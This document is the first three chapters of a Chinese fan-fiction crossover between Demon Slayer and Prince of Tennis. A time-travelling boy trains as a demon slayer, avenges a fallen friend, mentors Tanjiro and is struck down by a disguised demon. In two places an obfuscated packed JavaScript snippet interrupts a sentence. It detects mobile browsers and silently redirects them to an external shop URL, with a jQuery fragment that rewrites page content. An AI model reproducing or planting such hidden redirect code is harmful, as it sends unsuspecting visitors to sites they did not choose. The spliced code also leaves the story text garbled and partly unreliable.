《从鬼杀队到立海大网球部》 1. 第1章 从鬼杀队到立海大网球部 符玄/文 晋江独发谢绝转载 · 伊势柊真原本是21世纪的三好学生，意外穿越到明治时期，这是他作为人类，跌跌撞撞但并不糟糕的短暂一生。 他从来不知道那个百年前的时代是有“鬼”存在的。 “鬼”以人为食，畏光，昼伏夜出，唯用日轮刀斩断其首可杀之。 专门斩鬼的非官方组织名为鬼杀队。 原本收留伊势的人家遭遇不测，他因有鬼杀队成员路过才侥幸留下一命，也从救下他的前水柱爷爷口中得知，他原来是一名【稀血】。 所谓稀血，并没有什么特殊的能力，相反，他们在鬼的眼里是一块散发着诱人香气的蛋糕。不但美味，还滋补，吃上一口抵得过吃好几个人。 那恶鬼是被他血肉的香气所吸引来的。 换言之，如果不是他的到来，那户人家也许本不必遭此劫难。 不至于钻牛角尖，但怀揣着对那对心善夫妇的愧疚，他选择加入鬼杀队。 那一年，他十二岁。 . 想要成为杀鬼组织的一员并不容易，修行的日子十分辛苦，但看着被手中剑刃斩断的木桩，终是感到几分慰藉。 在狭雾山的那段日子，是穿越到那个残酷时代后少有的愉快时光。 在师傅鳞泷左近次手下锻炼，还有两位可靠的师兄师弟陪伴。 往后许多年，伊势柊真都无比怀念那些再寻常不过的午后。 他跌倒在地上喘着粗气，被两个与自己同岁的少年一人扯着一边胳膊拉起来，天气正好，草木芬芳。 只要撑开眼皮，就能看到穿越浓密枝杈照入穿透薄雾的光的形状。 好像是丁达尔效应吧？ 记得曾在科普栏目看到过，虽然距离上一次使用智能设备已经不知道过去多少日子了。 他当然会想念未来的生活，餐桌上老妈的唠叨和老爹笨拙的打圆场，还有充当背景音的电视剧OST，都是那么的遥不可及。 好在每天的训练都压榨体力到极限，让他并没有那么多胡思乱想的机会。 伊势柊真始终记得促使自己踏上这条路的契机：跌入废弃神社后的枯井穿越至百年前，初时他还在醒来的荒地转悠，寻找着回去的方法。 常理无法解释的事发生在他身上，或许他再也无法回到那个始终留着一盏暖灯的家里。逐渐意识到这一点的他，就算从小被称赞懂事，一向比同龄人成熟，让父母不用在忙碌的工作之余操心，那时也很难保持镇定。 在他快要坚持不下去时，是一户好心人收留了四处碰壁灰头土脸的他，还帮着打听附近村落谁家丢了小孩。 收留伊势柊真的夫妻未曾育有子嗣，担心给他造成负担，只隐晦传递出他想借宿多久都可以的意愿。 隔着明灭的煤油灯，在这个陌生世界孤独无助的少年感动的鼻头发酸，几乎就要答应下来。 可他无比清楚自己终究不属于这个时代，他得回去。 回到那个有他亲人朋友存在的世界，百年后的世界。 为此，他或许还要走上很长一段路，但他不会停下。 与挚友亲朋重逢的信念将支撑他，跨越这场看似不可能的奇迹。 因而，他无法接受鬼杀队提出保护他的提议。比起做一只被圈养在馨甜紫藤花房里的兔子，他更想将自己武装起来…… 然而就算他的思路再清晰目标再坚定，到底还是个心智脆弱的孩子，伴随黑夜降临的恐惧，常将他拖入那个深不见底的噩梦。 简陋又陌生的客房，疲惫至极却难以入眠的夜晚。 在伊势柊真强迫自己冷静下来思考前路时，变故先一步发生了。 那一晚淅淅沥沥下着小雨，土腥味混合着某种难言的湿气，化作一张粘稠的大网兜头盖下，他像触网的昆虫，毫无挣扎的余地。 门窗不知何时大敞开，伴着呼啸的晚风，吱呀作响，不断撞击着墙壁。 整间木质小屋在夜幕下，风雨飘摇，摇摇欲坠。 雨水混杂着血水，似不怀好意吐露芯子的游蛇，一路蔓延到床边。 他顺着蜿蜒曲折的蛇爬印，看到了倒在房门口的人。 温良淳朴的女人和他母亲一般年纪，白日里舒缓的笑容不再，披散的头发遮住大半张僵冷的面孔，一双满是惊惧的眼格外突出。 闪电劈开这浓重的雨夜，伊势柊真清楚地望见那双眼，它们直勾勾地始终注视前方，白的像碎瓷器，几乎反着光，要看进人灵魂深处── 啪嗒、啪嗒。 湿漉漉的脚步声近了，他看到一只枯瘦干瘪到经脉暴起的脚，停在尸体脸前。 接下来的发展他知道…… 怪物，要看过来了…… “阿柊，醒醒。” 将伊势柊真从梦魇中叫醒的浅橘发少年是锖兔，“你又做噩梦了吗？” 额头被一只粗糙温暖的掌心触碰，伊势柊真浑身还有些颤抖，视线好一会才清晰，映出眼前的画面。 坐落在瀑布旁的小屋便是他们在狭雾山的住所，面前关切望着他的少年脸上有道狰狞的伤疤，瞧上去或许有些吓人，但伊势柊真知道，他真是一个非常非常温柔的人。 他刚到这里时因为太拼命锻炼发起高烧，便是锖兔一直在照顾他。 抚摸额头的手转而替他理了理刘海，自从来到这个陌生的世界就没有修剪过，此刻已经野蛮生长到影响视线了。 锖兔问他要不要修理一下，他摇了摇头，“就这样吧。” 于是锖兔注视着他半垂的眼睑，思考了几秒，起身离开一阵又回来，同时给他带回一条尾端系了颗珠子的漂亮红发绳。 少年替他扎起遮挡视线的头发，问正巧进来的义勇感觉如何。 伊势柊真摸着有些不习惯风凉的光洁额头，无奈地看了眼有时候也爱捉弄人的锖兔。 富冈义勇也是很不给面子，见到他发顶勉强凑起来的小揪揪，直接没忍住笑出了声。 随后几个人笑着坐在一起，吃他带回来的饭团。 话题从争论口味一直偏到师傅鳞泷左近次为什么总戴着天狗面具。 后来伊势柊真的头发一直就这么留长下去。 就好似需要什么替他证明这段时间的经历，记着他曾经历的过去，也帮他记着自己的来处。 … 只是，当时不知道那些只道是平常的日子会那么快结束。 明明入门时间前后差不多，或许天赋差距就是如此不讲道理。 伊势柊真很难跟上师兄的脚步，连晚他几日拜师的富冈义勇也迅速超过了他，练成了水之呼吸的全部基础剑型出师。 于是他又什么反抗都没做，便经历了第二次失去。 参加最终选拔的锖兔没再回来。 比他更有天赋，入门不到一年便一同去往藤袭山的富岗义勇，只带回一副属于锖兔的、师傅临行前给他们的祛灾狐面。 伊势柊真再一次意识到自己的无力。 他好像什么也做不到，明明手里握着刀，明明已经能做到劈开一人难以环抱的老树，却仿佛一切都在他刀下无往不利，只是吸入瘴气做的一场幻梦，他还是之前那个软弱无能只能抱住自己闭眼逃避的稚童！ 早在来到这个世界的第一天，伊势柊真便已见识到这个世界的残酷。 失去庇佑的他飞快地逼迫自己成长起来，可惜似乎还是不够快。 伊势柊真回忆不起自己得知噩耗当日，是怎么从义勇手中接过的面具，也想不起对面那张血色与稚气尽褪的脸上，颤抖嘴唇吐露变故时是什么样的表情。 更无暇顾及剩下那一个同伴的心情。 他自己都不知道此刻要如何排解这股挤压心脏的绝望！ 【死亡】，仿佛第一次认识这个词。 亲近之人突遭变故，从和平世界来的伊势柊真无法接受。 他脱力般跪倒下去，嘴里不断喃喃：“他才十三岁……” 他下意识想如果他们认识在未来会如何，不该是憧憬国中校园生活的年纪吗？ 为什么呢？ 为什么？ 死……生的反面，心肺功能停止，所有维持其存在的属性不可逆的永久丧失。 无法想象这样的情况发生在锖兔身上，毕竟他那么厉害，甚至连比人都高的顽石也能轻易斩开啊。 骗人的，这一定是又一场恶梦。 视线不知何时模糊了，伊势柊真以为山里又起了雾，他想要站起身，四肢却完全不听使唤。 没错这一定是梦，他要快点醒过来，好去接锖兔回家……醒过来…… 豆大的眼泪砸在手上、面具上，砸在泥地上晕湿一小块。 伊势柊真隔着朦胧的视线，凝望手中带有友人标志性疤痕印记的消灾狐面，想要朝他笑一笑的，却只挤出要哭不笑的难看表情。最后只能将头深深埋了上去，肩膀抖动着酝酿了半晌，才发出第一声哽咽的哭喊。 如果真是梦就好了。 他不想要这样残忍的现实。 富冈义勇伸出的手在空中僵停，又缓缓落回身侧。 他眼里已无光，几乎看不出原本的模样。 忽而，他们身后传来一声无比沉重的叹息，不知何时到来的师傅鳞泷看了眼他们，脚步逐渐远去。 . 锖兔死后，义勇变得无比沉默。很快，他也离开了狭雾山。 曾经山林间的笑声不再，只有一个人挥刀时，伊势柊真才发觉这里空寂的可怕，早晨雾气浓的像要堵住气管，侵占整个肺部，让他无法喘息。 富冈义勇下山前，最后一次来找了他。 他还在对着那块圈了注连绳的圆石，徒劳般一次次挥剑。 除此之外，伊势柊真不知道自己还能做什么。 富岗义勇站在他身后忽然说，死的应该是他才对。 这话好比点燃炸药的引信，伊势柊真咬紧牙关，没忍住转身几步上前，一把扯过他的领子。 像当初锖兔曾做的那样，他闭眼回忆了一下，深吸气，道：“不要辜负死者，将逝者托付的未来传递下去……他说的话你都忘了吗？” 说这话前，伊势柊真担心自己话语的分量不够，先用脑门撞了一下富冈义勇的榆木脑袋，也想借反作用力让自己清醒振作。 成效应该是有的。 富冈义勇仍是那张哀默大于心死的死人脸，但是眸光闪动了一下。 两个少年顶着红了一块的额头对视。 “我记住了。” 黑发少年已换上鬼杀队的制服，腰间别着能斩鬼的日轮刀，身披由姐姐和锖兔遗物拼成的羽织，与剩下的那一人告别。 “我走了。” . 送走富冈义勇后，接连几日没有露面的戴天狗面具的师傅后一步出现。 反应过来鳞泷左近次让他跟着下山去背后的含义，伊势柊真愣住了。 不知道鳞泷师傅是否因不堪忍受再有弟子丧命，才说出这样的话，伊势柊真正要说些什么，便听到对方说他不适合。 “……不合适什么？” “你不适合当一名剑士。” 鳞泷左近次看着满眼哀伤的少年，还记得初见他时的情形。 路过一村镇察觉有恶鬼气息一路追杀，斩落其头颅后，于逐渐消退的灰烬后，鳞泷左近次看到一个气质干净的幸存者。 他穿着打扮奇特，身上的气息很难形容，是一股清冽的草木气味，与周遭格格不入，就仿佛天然不属于这里。 且能看出来，流落至此前，他的生长环境将他保护的很好。 手脚上别说劳作的茧子了，甚至没有一个伤疤，像是贵族家才能教养出来的小公子。 因此初来狭雾山时，他细皮嫩肉的手掌总是蹭破水泡，变得血淋淋的，几乎握不住剑。这段时间那些角质才长出足够厚实的茧子。 伊势修炼刻苦，却仍未摸到呼吸法窍门，算不上有习武才能。 就算通过他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712206|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定下的考核，也只是去最终选拔徒劳送命而已。 这孩子有想要去做的事，不愿意去紫藤花环绕的地方，若仍执意要找什么倒塌的鸟居与荒井，此刻也已有一定自保能力。 鳞泷左近次递出给这名弟子的“出山”礼物，不同于其他人的面具，是一枚刺绣祈福香囊，熏了浓郁的紫藤花香气，能够遮挡他身上稀血的味道。 但伊势柊真不愿意走，跪求师傅留下自己。 对上少年孤注一掷的眼神，鳞泷左近次终是没能残忍磨灭他的希望。 于是他继续留在了变得空荡的狭雾山。 独自一人的近千个日夜，伊势柊真总觉得锖兔的灵魂仍在山上陪着他，尽管他一次也没梦到过。 … 他算不上有天分，但最终还是学会了五大基础呼吸之一的水之呼吸。 也通过了鬼杀队的最终考核。 那七日，他将藤袭山上翻了个遍，和当初的锖兔一样努力保护同期选拔的剑士，最后杀死那只吃掉锖兔的手鬼。 他怕自己不能为好友报仇，拼命锻炼到足够强大，掌握十个全部基础剑型。 又怕自己太慢，那只吞吃好友血肉的鬼已经被其他人剿灭。 真正面对恶鬼的时候，伊势柊真握刀的手不自觉颤抖。 恐惧吗，还是大仇可以得报的兴奋？他分不清。只知道实战与对练果然是不同的，那是只身体缠绕大量手腕的异形鬼，脖子无比坚硬。 几次交手下来，他的虎口发麻，臂与肩骨隐隐作痛。 最糟糕的是，他手中的日轮刀甚至出现了豁口。 这意味着不只身体与精神，手中武器也已在连日斩鬼中到达极限。 伊势柊真与恶鬼拉开距离，他的意识达到了前所未有的集中，除了朝自己袭来的鬼，心中再无他物。 他缓慢阖眸，调整呼吸，摆出蓄力姿势。 重新睁眼的瞬息，伊势柊真如离弦之箭射出，迎恶鬼袭向自己的鬼手而上，日轮刀划出蔚蓝水流。 这割断夜幕的浪花，是他的最后一斩。 他意识到接下来这一斩将决断生死。 事后回忆，却记不太清具体是如何躲避鬼手的，将全部交给自己淬炼出的战斗本能……或许师傅看人并不准。 他这不是成为一名合格的剑士了嘛。 伊势柊真全力以赴的最后一斩，如果还不能斩断手鬼的脖颈，那么他的日轮刀大概会断掉，并和许多同门一样沦为恶鬼的盘中餐。 他之前一直想象不出剑术惊人的锖兔怎么会输，现在好像知晓挚友那时所面对的局势了。 这家伙的脖子当真坚硬。 但是。 奇迹般的，伊势柊真知道自己该往哪里挥剑。 「水之呼吸·壹之型——水面斩」 伊势柊真握紧手中日轮刀，斩向那暴露于眼前的一线弱点。 啪嗒。 护住脖颈的手腕被顺着关节斩断。头颅滚落在地的声音，听上去只比果实落地沉一些。 那个吞吃十三名鳞泷弟子的异形鬼，终于结束他罪恶的一生。 脱力失去意识前，伊势柊真看向自己保持一之型末势的手。 恍惚间，这一幕与当初锖兔教他时的画面重叠。 锖兔就是这样握住他的手，引导他挥剑。手背上仿佛还残留着当时的触感与温度，下一秒，手中如轮刀锵的一声，沿着豁口，断裂成两节。 …… 为了抓住斩断鬼首的机会，他放弃躲开一只鬼手的攻击，故意暴露弱点得以拉近距离。 腹部撕裂伤顷刻染红衣袍，断刀撑地，伊势柊真听到之前被他救下的选拔人员慌张上前的声音，周遭一切都无比遥远。 唯一明晰的，或许是失血过多的幻觉，他终于见到了那个戴狐狸面具的少年。 彼时，已经过去了两年。 在那场紫藤花萦绕的幻梦中，他已经长高了不少，在锖兔面前却还是不像样，哽咽地说不出话。 锖兔摘下狐狸面具，朝他浅笑着张开双臂。 伊势柊真的身体先他反应，拔腿踉跄一步，飞快地奔向他，却在最后关头停住，不敢伸手确认，生怕对方会因他的触碰消失。 锖兔无奈地上前一步，抬手摸了摸他的头。 发梢被抚动的感觉，让挥剑到骨头快要断掉时都没哭的伊势柊真，立即委屈地跪坐在地上，像个孩子似的，胡乱拿袖子抹眼泪。 “我做到了……你看，我做到了……” 锖兔半蹲下来将宣泄情绪的他的头按进怀里，轻轻摸了摸，动作惊人的轻柔，却似他全部灵魂的重量。 “嗯，我都看到了。” 他久违地听到了少年的声音，“你已经做的很好了，阿柊。” “锖兔……锖兔！”伊势柊真抓紧面前的衣襟，顾不上滑落的眼泪沾湿对方。 “谢谢。” 这时对面传来数道感谢。 伊势柊真越过锖兔的肩膀，顺着那些陌生的声音，见到了十二个戴师傅消灾面具的少男少女。 其中脸颊有花朵图案的狐面少女，应该就是听锖兔说起过的真菰师姐，他们都是被手鬼吃掉的同门。 众人同他挥手道别，纷纷走入山林间。 他们刚才聚集的有硕大岩石的空地，大家都不会陌生，正是狭雾山后，他们曾生活、挥刀、修习呼吸法的地方。 那一角逐渐被每日清晨都会升起的浓雾笼罩，雾气蔓延过来。 锖兔的身影也逐渐隐入雾中，变得若隐若现。 “回去吧，现在还不到我们团聚的时候。” 落入这个时代至今紧绷的弦松动，他感受到前所未有的宁静。 拥住他的轻柔力量散去，伊势柊真沉沉睡去。 . 醒来在蝶屋里，哭湿了半个枕头。 因为这件事，之后很长一段时间，那些护理人员都咋咋呼呼地叫他爱哭的小哥。 在通过最终考核后，他成为了鬼杀队的一员。 2. 第2章 只要通过藤袭山的最终选拔，就成为了鬼杀队的正式队员。 伊势柊真在蝶屋养伤并等铸刀送来时，和富冈义勇见了一面。 此前这位师弟偶有送信回来，他眼熟了对方的鎹鸦，人却是许久不见了。 今日一见，几乎找不到以前的影子。 青涩早早从脸上褪去，富冈义勇的五官长开了些，愈发沉默寡言，面无表情。像一块没有温度的冷硬石头，支着自己清晰的棱角，对周围一切事物貌似漠不关心。 这让两年间脑海中只有挥剑的伊势柊真，终于意识到时间所带来的变化。 是啊。 不论是义勇还是他，都无法回到从前。 铸成他们过往人生的某一部分，已随从他们生命中离开的那些人逝去了。 但留在世界上的人，还要携憾而失去的那些人的愿望活下去。 “半夜来看我，还想放下东西就走，实在太过分了。” 伊势柊真不愿与富冈义勇继续交换沉默，锤了下他的肩调节气氛，弯起眼：“我会努力追上你的。”随即因为扯到伤处，疼的倒吸一口气。 富冈义勇抬手想扶他，听到窗台上传来抖翅膀的声音，侧首看去。 那里停着两只漆黑的乌鸦，是野外很常见的品种，他目光落在右侧气质与自己有微妙相似的那只上：“你的鎹鸦？” 鎹鸦是鬼杀队专门训练用以情报传递的鸟，和日轮刀制服一样，正式队员人手一只。它们大都能与人交流，性格各不相同，每只都独一无二，是鬼杀队员的重要伙伴。 不过从进来起，就没听到这只说话。 除了和富冈义勇的宽三郎点头致意，它就像标本一样睁着红豆眼默默站着，听年纪已经有些大了的对方念叨。 直到刚才才有了些反应，借动作表达对主人的关心。 “嗯，它叫……” 伊势柊真点头扬起嘴角，见他抬起手臂，那只鎹鸦立即飞停上来。 这晚他们师兄弟陆陆续续说了不少话，直到夜里查房的小护士赶人。 . 伤愈已是小半月后的事了，伊势柊真的日轮刀也已送到。 鬼杀队并非官方组织，经过千年经营内部阶级分明、分工明确。 除治疗伤员的蝶屋，还有负责打扫战场等事务的后勤部门隐，负责日轮刀锻造与维护的刀匠村等。 一般队员从甲到葵分成十个等阶，其上还有通常由九名剑士组成的「柱」。 他已隐居的师傅鳞泷左近次便曾是九柱之一，现在担任鬼杀队成员的培育师。 新队员一般从最低阶的「葵」做起，伊势柊真领到了属于他的三样入队物品：队服、鎹鸦和日轮刀。 他有了自己传达消息的鎹鸦，一只羽翼如黑夜般饱满宽阔的乌鸦。 雄性的，性格沉稳，平时话很少。 伊势柊真在给它起名这件事上犯了难。原想直接沿用主公大人给它起的小名，但它大部分时间都惜字如金，并不回答他的问题。 这让伊势柊真一度以为它是个哑巴。 直到出院前夕，它飞出去一趟又回来，带回了需要主人前往调查恶鬼传闻的村落的任务情报，并用人语准确叙述传令。 遣词用句颇具绅士风范，还是一把令人闻之愉悦的磁性男低音。 伊势柊真愣住，想让它再说点什么证明自己不是幻听：“……抱歉，我刚才没听清？” Ace透出一股冷淡感的红眸貌似瞥了他一眼，顿了顿，将任务目标复述一遍。 它有一双不同于其他鎹鸦漆黑豆豆眼的赤色虹膜，于鸟群中很好辨认。 也让伊势柊真想起以前邻居家的发小，那个就算不论从小玩到大的情谊，在记忆中也足够鲜活，以至于让人印象深刻的网球笨蛋。 那家伙对网球忠实的热爱，抵得上他一周七天迷路的概率，和炸毛红眼的频率。 记得穿越前，常听切原赤也念叨要当立海大的王牌…… ACE。 在网球术语中，指对局中发球一方，球落在有效区内，对手没有触及到球直接得分的发球。 此外，ace还有王牌飞行员的意思，意外适合他精神抖擞的漂亮鎹鸦，伊势柊真便这样称呼它了。 它未发表意见，对这个名字应当是满意的。 伊势柊真解开包裹刀鞘的布帛，握住刀柄微微用力，刀身泄露一丝寒芒。 兵刃常伴身侧，是性命相托之物，剑士最为重要的伙伴。 这把外观朴素的刀，驱使起来意外的趁手。 待到完全抽刀出鞘，指尖抚过特殊矿石制作的斩鬼刀，拭去它一路赶来沾染的风霜与尘灰。 此后，日轮刀在人在…… 不说那些不吉利的话，他可是很惜命的，还要找到来时路回家呢。 只是出走这几年，回望来路，竟觉得无比遥远。仿佛是上辈子的事了。 伊势柊真换好裁剪合身的鬼杀队制服，披上师傅给他订做的羽织。 终于，寻回对自己的人生的掌控感。 . 参加这次鬼杀队最终选拔的事，伊势柊真原本没告知变成面瘫的同门，是鳞泷左近次知道他性命无虞后通知了义勇，对方才赶去蝶屋探望他。 事后回想起来挺傻的，他临行前还拜托了师傅：如果没能回来，不要传达我的死讯。 “就告诉他──” “我始终没能掌握水之呼吸，已经下山去了。” 好在伊势柊真没有辜负过往苦修的日日夜夜，最终回到了自己生活三年的狭雾山，得以亲口告知师傅大仇得报，那恶鬼已被他斩杀，以及自己进入鬼杀队的事。 而后未多驻足，收拾了一下行囊便要去往情报中有鬼出没的村落。 天狗面具老者送别伊势柊真时，心中重担卸下，背影却佝偻了不少。 只因那屠戮他众多弟子的鬼，原是他早年江户时代捕捉并封印在试炼地的。 谁知居然苟活到了现在，还以他雕刻的消灾狐面为目标，杀死他培育的弟子整整一十三名…… 当初在剑术天资惊人的锖兔死后，鳞泷左近次不忍再有弟子白白丧命，才想要劝退他，并设下劈开岩石这一看似不可能完成的毕业课题。 但原本不被看好的少年，日复一日坚持了下来，还做到了。 大抵是多有感慨，师傅话比平日多了不少。 他老人家絮絮叨叨说了许多鬼杀队的事，从可提供便利的紫藤花图腾家族，到废刀令施行的现今，要如何隐蔽地携带日轮刀出入城镇。 还提到了他们鬼杀队的最终目的： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712207|189276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——斩杀所有鬼的“始祖”，彻底终结这个恶鬼食人的时代。 伊势柊真沉吟片刻，道：“一定成功了。” 因为他未来所处的时代非常和平，没有什么吃人的恶鬼。 “是吗，那就太好了。” 鳞泷左近次凝视着少年清润的眼眸，其中闪烁的光芒，恰如紫藤花盛放时的明净。 他不知晓弟子为何如此笃定，以为是对未来的美好展望，从怀里摸出什么：“……柊真，带上这个吧。” 伊势柊真从鳞泷左近次手中接过一副眯眼的白底狐面，这便是师傅会送给他们每位弟子的出师礼物了，看做工痕迹已经雕刻完成多时。 不同于此前其他人，鳞泷左近次没在去往最终试炼前赠与他的原因……伊势柊真在找到手鬼并发现它炫耀般挂在身上的收集物后便明了了。 或许是自我怀疑根本起不到作用，反而更像是一种诅咒。 又或许心伤太过，掺杂着一些不想他遭遇手鬼的私心。 总之现在都不重要了。 此刻那些寄托美好祝愿的狐面都已带回安葬在狭雾山，随它们的所有者一起，回到了他们最喜欢的鳞泷先生身边。 … 第一次任务不熟悉流程，难免遭遇波折。 事后回忆起来，自己也会忍俊不禁。 伊势柊真跟着鎹鸦走出好几里地，惊觉方向错了，与它大眼瞪小眼半晌，才确信这家伙好像不认路：“……” 他一时间哭笑不得，因为和咋咋呼呼的赤也比起来，这张“王牌”明明瞧上去靠谱的不得了，甚至给了他极强的安全感，让他下意识认为是可以放心托付后勤工作的可靠同伴，实在看不出来竟也沾点路痴属性。 伊势柊真最后还是跟附近村人打听才找到正确的方向。 月色隐入云翳，风声也匿去踪迹。 日落后方才现身的鬼无疑是狡猾的。 猎鬼人并非只需挥刀，他们的工作往往还包括事前调查的部分。 要先找出潜藏在人群中吃人的怪物，便往往避免不了要与人打交道。 伊势柊真很快发现这对既是穿越者，跟这里的人有着一层厚障壁，还避世苦修多时，脱离正常社交环境已久的他来说，才是当下最大的考验。 好在这并没困扰他太久，身为稀血的劣势在此刻转变成优势。 他自身既是诱饵，即便什么都不做，无法拒绝诱惑的恶鬼也自会送上门来。 而后。 「水之呼吸·叁之型·流流舞动」—— 月光在刃上碎成浪尖泡沫，残影过处是水幕卷成的轨迹。 恶鬼的嘶鸣戛然而止，待波纹平息，猎物与猎人宣告他们在这场狩猎中的结局。 收刀归鞘，回望恶鬼逐渐化灰的残骸。 往后许多个夜晚，都如是重复。 … 伊势柊真没有固定活动的区域，追寻着自己来到这个时代的线索，他的脚步行过许多地方。 他踩过镰仓被梅雨淋湿的青苔石阶，看到醍醐寺的凄美夜樱，听到若草山的鹿鸣撞碎山间寂静，也吹过天守阁顶的风。 可惜所求之物如风干的水迹。 任由你翻阅古籍，遍寻传说，也难找到或许曾记载过的只言片语。 一晃便是许多年过去。 3. 第3章 那是他杀鬼的第五年，斩杀记不清第几只鬼后。 途经狭雾山附近，久疏问候的伊势柊真决定顺路去看望师傅，路上穿过某条长长的田埂时听到有农户谈论今夕是何年。 很奇妙的感受。 他见证了时代更迭，历史已经迈入大正时期了。 鳞泷师傅隐居的深山倒是风景如旧，山路上遍布各种考验欲拜师者的“陷阱”，伊势柊真想当初自己通过这一关，可是废了不少功夫。 在拜访师傅前，伊势柊真意外在自己曾千百万次挥剑的地方，偶遇了另一个陌生的身影，在对着一块硕大的圆石做无用功。 仿佛看到了曾经的自己，他不由驻足。 原本无意出声打扰，对方倒是非常敏锐地有所察觉。 “什么人？” 靠在树后的伊势柊真恍然回想起，两年前，他在北方探寻一处能看到其他时空投影的传说的那个冬天，曾收到义勇来信，里面有提及这位身世不幸的师弟。 巨石表层泛白的刮痕不是一两天形成的，看来新师弟是同他一样，被劈裂岩石这一关难住了。 少年时好奇的话题，已在不经意间得到答案── 早年因面容过于温柔而遭鬼嘲讽，鳞泷左近次才戴上天狗面具以增威慑。 不幸的是伊势柊真也是个容貌白净富有亲和力的，因而他选择延续这一师门传统，在外斩鬼时，也会戴上师父亲手雕刻的狐面。 义勇继承了锖兔半边羽织，伊势柊真身边也留有故友遗物。 对方那张面具一直伴他左右，平日和自己的一起挂在腰间。 当初本该和其他师兄师姐们一同安葬的，但鳞泷坚持要交给他。 “锖兔最放心不下的就是你了，下山前几番叮嘱我照顾好你……所以，带‘他’走吧。”一声微不可查的叹息，“带他遍览你走过的旅途，肯定比压在石碑下陪我这个老头子更合他心意。” 是啊。 那个人太早离场，甚至没来得及好好看一看这个世界。 伊势柊真这些年途经迤逦风光，若无要事在身，常停留片刻，也不算将时间都耗费在无望的追寻上。 当下他起了念头，手摸到腰间右颊有疤痕印记的面具解下，扣在自己的脸上，才缓步走出来。 往后一段时日，他以“锖兔”自称，像对方曾教他的那样指导少年。 . 少年有偏棕的深红色头发和眼眸，左额处一道陈年伤疤，名唤灶门炭治郎，是个给人温暖印象的好孩子。 熟悉后得知他出生于一个卖炭家庭，是家中长子。 变故之后，家中仅余他和妹妹二人。 妹妹弥豆子还被变成了鬼，受亲情感召意外的控制住了吃人的本能，就此陷入沉睡。 伊势柊真时年二十岁。 已经完全长成青年模样，是位出色的鬼杀队剑士了。 他完成从初学者到指导者的身份转换，除去从锖兔那里学会的部分，还向少年述说自己经年累月对全集中呼吸法的理解，助其精进剑技，磨练武艺。 “炭治郎，你要将鳞泷先生教授的东西铭记于心，并融会贯通成自己的。” 伊势柊真在又一次交手后，看着地上喘息的少年，无奈地劝诫他勿要急躁，沉下心来。 他曾在同样的地方站了五百多个日夜轮转，才初见成效。 漆鸦在夜空中盘旋，细微风响传入耳中，戴疤痕狐面的青年望向夜空中的圆月。 清浅的月光笼罩周身，使他像是散发着莹莹的光芒。 “下个月圆之夜，我会在这里等你。” 炭治郎目送“锖兔”师兄的身影被山间浓雾吞噬，撑起疲惫至极的身躯，闭眼回忆适才切磋时的感悟，深吸气。 “好，再来！” . 最后半年多时间，流浪大半个岛国的伊势柊真终于停下了自己的脚步。 他回到穿越初那个几乎翻了个遍的镇子附近，望见多年前为标记点位而栽下的幼苗，如今已亭亭如盖，最后做了个大胆的决定： 他要将追寻的方向，从过去迈向未来。 不是彻底调转火车头，毕竟发生在他身上的事并不科学。 只是比起继续追寻虚无缥缈的神话传说，他需要一些能够握在人类手中的慰藉，比如终将诞生的未来科技。 鎹鸦听他说了这一想法后，露出介于欲言又止和无语凝噎之间的拟人化表情。 伊势柊真自己也觉得这个大胆的想法有些好笑。 用百年前的科技手段造出时光机看似异想天开，实际上凭他有限的小学知识也确实像在白日做梦……但很多事总要了解过才知道，也许实际距离并非遥不可及。 比如时光机的概念，原来早在1895年H.G.威尔斯的科幻小说《时间机器》中，就首次提出了。 创立相对论的爱因斯坦正直壮年的现在，一切皆有可能。 幼儿园老师在发现他会一个人待在角落拔草吃时，很早就点破他这人的本质：想法和其他小朋友不大一样，虽然瞧上去正经乖巧，偶尔也会做出出人意料的举动。 就把这当做苦旅中调节自我的小幽默吧？ 伊势柊真都不知道自己是乐观主义者，但前路总要继续开拓下去。 狭雾山上的少年们，都有一段充满悲伤的过往。 但。 炭治郎能从伊势柊真身上闻到希望的味道。 这无疑鼓舞了炭治郎，使他不由相信，他们终会战胜邪恶的食人鬼，他也能找到让妹妹变回人类的方法。 … 伊势柊真的确是这样相信的，正如他始终记得自己从何而来。 他以为他能和他们一起，沿着曲折的小径走下去，或许活得够久，能够亲眼看到荒芜的平原上长出钢铁森林与不灭的灯火。 等到鬼杀队的大家不负所托杀完了鬼，做起曾经想做却没来得及达成的事情。 那时的他或许还走在追寻的路上，或许已经停下脚步。 但如果是他的话，依靠自己掌握的未来知识，想必也能活出一段精彩人生？ 伊势柊真没想过，自己会成为倒在前路上的人。 … 那只冰冷狰狞的手穿透胸膛的瞬间，他奋力挥刀，燃烧最后的决绝，将长刀精准斩向对方的脖子。 也算不负这些年死在他刀下的亡魂，伊势柊真砍中了。 或者说…… 这只鬼、这只伪装何其精湛狡猾在不算短的相处过程中骗过了他，还一起在东京新建的商业街喝过咖啡的鬼，他根本没有躲。 这是何等的傲慢，好像根本没把他看在眼里。 一之型的水流如泡沫散去。 伊势柊真看清刀刃所及处的画面，瞳孔微颤。 ……真可惜啊。 居然一点伤口都没有留下。 快要握不住刀，但剑士唯一不能松开的便是执剑的手。 他几乎是燃烧将熄的意志，将骨骼焊死成再熟悉不过的圈握姿势，将自己漆黑的日轮刀卡在虎口处。 剑身不复往日平稳，随血滴溅在地上的声音，微微抖动着，唯有刀锋那一端仍架在恶鬼的脖子上。 他瞳孔失焦，眼前画面开始模糊。 哈……哈…… 